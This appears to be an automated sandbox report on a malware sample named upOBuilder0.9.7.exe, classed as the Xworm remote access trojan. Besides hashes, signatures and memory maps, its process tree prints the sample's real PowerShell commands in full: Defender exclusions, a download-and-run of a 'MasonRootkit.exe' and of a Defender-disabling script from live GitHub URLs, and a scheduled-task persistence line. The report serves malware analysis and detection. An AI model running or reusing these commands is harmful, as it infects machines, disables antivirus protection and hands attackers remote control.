Analysis

  • max time kernel
    54s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/03/2025, 17:21

General

  • Target

    upOBuilder0.9.7.exe

  • Size

    3.5MB

  • MD5

    c7789a0f8d83e744a84b0b4be0be7158

  • SHA1

    c8ffb47663650341146810daf5ebbc29018b3e1d

  • SHA256

    9365fa153dd60ba9703ea92cd37e0c737c5f222012644f6acb0892c558113451

  • SHA512

    711c59377faad994c4696d16e2718578f82673b2baac9d6d7022a5f37c81bfff71e812e8f5d574bfbfaf748b73d794faccc885d036dea751ea52e108e3dfea7a

  • SSDEEP

    98304:weaJXwmAk5dop8nuxgHe2eBu7jqhbq2OkVV9icA:WAk5dop8nuO1r7jq9nTFip

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • Install_directory

    %port%

  • install_file

    svchost.exe

  • pastebin_url

    https://pastebin.com/raw/J42c6s7r

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 28 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\upOBuilder0.9.7.exe
    "C:\Users\Admin\AppData\Local\Temp\upOBuilder0.9.7.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1228
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAdgB5ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZwBtACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGgAZQB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAdABjACMAPgA="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:684
    • C:\Windows\Shell Infrastructure Host.exe
      "C:\Windows\Shell Infrastructure Host.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1200
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4316
        • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
          "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
          4⤵
          • Executes dropped EXE
          PID:5056
          • C:\ProgramData\MasonRootkit.exe
            "C:\ProgramData\MasonRootkit.exe"
            5⤵
              PID:2768
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8E12.tmp.bat""
              5⤵
                PID:2572
                • C:\Windows\system32\timeout.exe
                  timeout 3
                  6⤵
                  • Delays execution with timeout.exe
                  PID:2452
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Shell Infrastructure Host" /tr "C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2908
        • C:\Users\Admin\AppData\Local\Temp\upO Builder 0.9.7.exe
          "C:\Users\Admin\AppData\Local\Temp\upO Builder 0.9.7.exe"
          2⤵
          • Executes dropped EXE
          PID:4828
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{1cbb12aa-f242-4f71-9c7b-9b13ebbc9569}
        1⤵
          PID:1624
        • C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe
          "C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe"
          1⤵
            PID:2320
          • C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe
            "C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe"
            1⤵
              PID:5116

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\ProgramData\MasonRootkit.exe

              Filesize

              596KB

              MD5

              bb2fd6c1b233fd2f08a6a43ef860bcb6

              SHA1

              1cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04

              SHA256

              8c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce

              SHA512

              2ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonRootkit.exe.log

              Filesize

              1KB

              MD5

              3982d6d16fd43ae609fd495bb33433a2

              SHA1

              6c33cd681fdfd9a844a3128602455a768e348765

              SHA256

              9a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9

              SHA512

              4b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              18KB

              MD5

              019002ea13a9eb47b9c01355e960c1fb

              SHA1

              dd244b5496ebcaf52dafd5deb086ccad58947420

              SHA256

              be6e2bbd73302149d51a6907d8b5350227d4d0e564f6dffb848514762c4e1a26

              SHA512

              ac7cd9ca7986904c844f4023540e8c6f498129f08a007d659975247b33f0e3aec50d8e340350fe8eaa1e76c72ab99872a29e8f7df8ed0ff41ca12b5278a3fa34

            • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe

              Filesize

              612KB

              MD5

              5e1eb1a67d40ccae40dee2a037ca6c64

              SHA1

              786b54d3d451ea40faeeb20fd30a38744862eeb5

              SHA256

              80e5cb11ae2512da3b7be501b469d6fc1a69a2017a143b9897023da9e366325f

              SHA512

              0484da209f0c8edff5d1f08b841f3134008ff72fb563fa48a15f96c8ad23fdfb82cc8a59bc729f2db3d359e18558d6f4fbaf4b40955a38787472db438a043205

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nrcatf44.mga.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\tmp8E12.tmp.bat

              Filesize

              164B

              MD5

              d488e14ca528ad02ed9f63ce93079267

              SHA1

              9b209427dc1117b4b6e79e43c2abc675785f00c5

              SHA256

              ce678ae2f63d5c273e69686ffb226c6bdbee10707b90d09fe4e72a5524bc369d

              SHA512

              13a9843137f23a464df46be8436d63f4120796168f16a3d57f033b9ba393fb381fcdda4bd210826ca18c049f257eb1c30ef6e121dbc9529ce45afda8bef2592d

            • C:\Users\Admin\AppData\Local\Temp\upO Builder 0.9.7.exe

              Filesize

              3.4MB

              MD5

              a6b3b0ef9a6ee3c74315a2b8c573e5c8

              SHA1

              80b75a960a383a824e48dd196416517e7e0525ec

              SHA256

              49e993c3c40c13c28e32c53e90dde544665cf47ff43d418b7cba94fdf37db82d

              SHA512

              a3c0363520c40e1e7cd247d02b16add2bb3ad8543e3afce2072b72787a807e8c07158b9f7a5fd5dd80156603bf83319d5593ff41f66781fb3d1729441705001f

            • C:\Windows\Shell Infrastructure Host.exe

              Filesize

              55KB

              MD5

              cc846067069513e0ec3d9ccc42426662

              SHA1

              308c7d82ec6ba094e0d40d35a3ff042ce38974f1

              SHA256

              36b04768d3e0cfa350dc7f910305c580138c5af7a9f7b234f9530f36e9efab17

              SHA512

              5a12d153d5eeab4a6c6abbc7ebf084daa2edbebdce24746174be78bf8d551a3e4e86e4719b0d6c7616ee5f15174a4a5e2a0dda135fdff989797a55da478a1f93

            • memory/684-1937-0x00000000076E0000-0x0000000007776000-memory.dmp

              Filesize

              600KB

            • memory/684-1720-0x00000000074D0000-0x00000000074DA000-memory.dmp

              Filesize

              40KB

            • memory/684-29-0x0000000002C10000-0x0000000002C20000-memory.dmp

              Filesize

              64KB

            • memory/684-1115-0x0000000002C10000-0x0000000002C20000-memory.dmp

              Filesize

              64KB

            • memory/684-30-0x0000000073DDE000-0x0000000073DDF000-memory.dmp

              Filesize

              4KB

            • memory/684-44-0x0000000005350000-0x0000000005978000-memory.dmp

              Filesize

              6.2MB

            • memory/684-25-0x0000000002B70000-0x0000000002BA6000-memory.dmp

              Filesize

              216KB

            • memory/684-1187-0x0000000074700000-0x000000007474C000-memory.dmp

              Filesize

              304KB

            • memory/684-1204-0x0000000007310000-0x00000000073B3000-memory.dmp

              Filesize

              652KB

            • memory/684-3429-0x0000000007780000-0x0000000007788000-memory.dmp

              Filesize

              32KB

            • memory/684-3330-0x00000000077A0000-0x00000000077BA000-memory.dmp

              Filesize

              104KB

            • memory/684-1260-0x0000000073DDE000-0x0000000073DDF000-memory.dmp

              Filesize

              4KB

            • memory/684-1116-0x0000000002C10000-0x0000000002C20000-memory.dmp

              Filesize

              64KB

            • memory/684-1186-0x00000000066C0000-0x00000000066F2000-memory.dmp

              Filesize

              200KB

            • memory/684-3179-0x00000000076B0000-0x00000000076C4000-memory.dmp

              Filesize

              80KB

            • memory/684-92-0x0000000005260000-0x0000000005282000-memory.dmp

              Filesize

              136KB

            • memory/684-1197-0x00000000066A0000-0x00000000066BE000-memory.dmp

              Filesize

              120KB

            • memory/684-1476-0x0000000007440000-0x000000000745A000-memory.dmp

              Filesize

              104KB

            • memory/684-104-0x0000000005C10000-0x0000000005F64000-memory.dmp

              Filesize

              3.3MB

            • memory/684-96-0x0000000005AA0000-0x0000000005B06000-memory.dmp

              Filesize

              408KB

            • memory/684-105-0x0000000006100000-0x000000000611E000-memory.dmp

              Filesize

              120KB

            • memory/684-106-0x0000000006150000-0x000000000619C000-memory.dmp

              Filesize

              304KB

            • memory/684-2925-0x00000000076A0000-0x00000000076AE000-memory.dmp

              Filesize

              56KB

            • memory/684-2213-0x0000000007660000-0x0000000007671000-memory.dmp

              Filesize

              68KB

            • memory/684-28-0x0000000002C10000-0x0000000002C20000-memory.dmp

              Filesize

              64KB

            • memory/684-93-0x0000000005A30000-0x0000000005A96000-memory.dmp

              Filesize

              408KB

            • memory/684-1475-0x0000000007A80000-0x00000000080FA000-memory.dmp

              Filesize

              6.5MB

            • memory/1200-12-0x00007FFA66363000-0x00007FFA66365000-memory.dmp

              Filesize

              8KB

            • memory/1200-8265-0x000000001B0E0000-0x000000001B0F0000-memory.dmp

              Filesize

              64KB

            • memory/1200-13-0x00000000003E0000-0x00000000003F4000-memory.dmp

              Filesize

              80KB

            • memory/1200-6698-0x000000001B0E0000-0x000000001B0F0000-memory.dmp

              Filesize

              64KB

            • memory/2768-6531-0x000002AB2CC20000-0x000002AB2CCBA000-memory.dmp

              Filesize

              616KB

            • memory/4316-3274-0x0000028C6B490000-0x0000028C6B9B8000-memory.dmp

              Filesize

              5.2MB

            • memory/4316-1198-0x0000028C685A0000-0x0000028C685C2000-memory.dmp

              Filesize

              136KB

            • memory/4316-3245-0x0000028C6AD90000-0x0000028C6AF52000-memory.dmp

              Filesize

              1.8MB

            • memory/4828-83-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-77-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-49-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-42-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-47-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-40-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-37-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-32-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-31-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-1004-0x00007FFA66360000-0x00007FFA66E21000-memory.dmp

              Filesize

              10.8MB

            • memory/4828-63-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-55-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-57-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-59-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-61-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-69-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-67-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-76-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-87-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-53-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-82-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-108-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-91-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-110-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-89-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-85-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-79-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-71-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-74-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-65-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-24-0x0000000000810000-0x0000000000828000-memory.dmp

              Filesize

              96KB

            • memory/4828-27-0x000000001B460000-0x000000001B99E000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-51-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-45-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-38-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-35-0x000000001B460000-0x000000001B99A000-memory.dmp

              Filesize

              5.2MB

            • memory/4828-26-0x00007FFA66360000-0x00007FFA66E21000-memory.dmp

              Filesize

              10.8MB

            • memory/5056-5807-0x0000000000230000-0x00000000002D0000-memory.dmp

              Filesize

              640KB

            • memory/5056-5808-0x0000000002290000-0x0000000002328000-memory.dmp

              Filesize

              608KB